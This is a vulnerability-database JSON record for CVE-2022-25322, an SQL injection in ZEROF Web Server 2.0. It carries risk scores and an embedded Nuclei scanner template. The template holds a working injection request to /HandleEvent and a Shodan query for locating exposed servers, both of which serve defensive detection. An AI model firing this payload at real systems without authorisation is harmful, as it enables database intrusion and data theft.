{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-25322/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-25322/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-25322/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-25322/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-25322/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-25322"},"sightings":{"href":"/api/v1/sightings/cve-2022-25322"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.08346,"kev":false,"percentile":0.94754},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-25322.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-25322\n\ninfo:\n  name: ZEROF Web Server 2.0 - SQL Injection\n  author: daffainfo\n  severity: critical\n  description: |\n    ZEROF Web Server 2.0 allows SQL Injection via the /HandleEvent endpoint. Attackers can exploit this vulnerability by manipulating the request parameters to execute arbitrary SQL queries.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 2.0.\n  reference:\n    - https://github.com/landigv/research/blob/main/cve/CVE-2022-25322.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-25322\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-25322\n    cwe-id: CWE-89\n    epss-score: 0.08346\n    epss-percentile: 0.94754\n    cpe: cpe:2.3:a:zerof:web_server:2.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: zerof\n    product: web_server\n    shodan-query: \"Server: ZEROF Web Server\"\n  tags: cve,cve2022,zerof,sqli,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"_S_ID\", \"<title>ZEROF Web Server</title>\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: s_id\n        internal: true\n        group: 1\n        regex:\n          - '_S_ID=\"_S_ID=(.*?)\";'\n\n  - raw:\n      - |\n        POST /HandleEvent HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Content-Length: 119\n\n        Ajax=1&IsEvent=1&Obj=O33&Evt=keypress&this=O33&char=%0D&\"_fp_=_S_ID={{s_id}}&O33=%020%02%02'&_seq_=2&_uo_=O0\n\n    unsafe: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"You have an error in your SQL syntax\"\n\n      - type: word\n        part: header\n        words:\n          - \"ZEROF Web Server\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402206727e562ecddc63c631d2538610f60b82db5d0da3b3d69449e61b1eca1b92a56022061a33d8271d620501c2ad207c5fa0e798c5e0faad43391c701c1e32bd46d2c06:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-25322"}